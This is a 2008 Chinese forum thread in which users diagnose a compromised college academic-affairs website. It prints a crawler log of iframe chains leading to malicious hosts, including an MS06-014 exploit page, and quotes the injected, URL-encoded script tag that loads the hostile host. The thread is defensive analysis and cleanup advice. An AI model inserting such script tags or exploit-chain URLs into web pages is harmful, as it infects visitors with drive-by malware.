hxxp://web.sdie.edu.cn/jwc [挂马] [by jimmyleo]

sdie518

http://web.sdie.edu.cn/jwc
我们学校教务处的网站，进去360就报恶意网址，有的同学说杀毒软件也报了
高手看看吧

[ 本帖最后由 jimmyleo 于 2008-12-28 10:39 编辑 ]

jimmyleo

Log is generated by FreShow.
[wide]http://web.sdie.edu.cn/jwc/
    [object]http://hhj2.cn
        [frame]http://wm.sllgqsb.cn/a1/ilink.html
        [frame]http://wm.sllgqsb.cn/a1/flink.html
        [frame]http://www.falalijj.cn/b2.htm
            [frame]http://wm.sllgqsb.cn/a1/fxx.htm
                [frame]http://wm.sllgqsb.cn/a1/fx.htm
                    [frame]http://wm.sllgqsb.cn/a1/Ilink.html
                    [frame]http://wm.sllgqsb.cn/a1/flink.html
                [frame]http://wm.sllgqsb.cn/a1/../a1/ss.htm
                [frame]http://wm.sllgqsb.cn/a1/../a1/Ms06014.htm
                    [object]http://d.ko546.com/new/a1.css
                [frame]http://wm.sllgqsb.cn/a1/../a1/sina.htm
                [frame]http://wm.sllgqsb.cn/a1/../a1/no.htm
                [frame]http://wm.sllgqsb.cn/a1/../a1/bfyy.htm
                [frame]http://wm.sllgqsb.cn/a1/../a1/GLWORLD.html
                [frame]http://wm.sllgqsb.cn/a1/../a1/real.htm
                [frame]http://wm.sllgqsb.cn/a1/../a1/real.html

江湖的fans

访问地址：http://wm.sllgqsb.cn/a1/Ms06014.htm
访问网页的进程："C:\Program Files\TheWorld 2.0\TheWorld.exe"
漏洞对象名：microsoft.xmlhttp

江湖的fans

挂的老马了！

jimmyleo

你是老师嘛？

1. 
   
2. <script src=http://%68%68%6A%32%2E%63%6E></script>

复制代码

在网页末尾被插入这样一段恶意代码
抹去即可 :-)

sdie518

原帖由 jimmyleo 于 2008-12-28 10:38 发表
你是老师嘛？




在网页末尾被插入这样一段恶意代码
抹去即可 :-)

学生。选课的时候发现的，不知道这玩意能改我成绩不？

尤金卡巴斯基

西风萧雨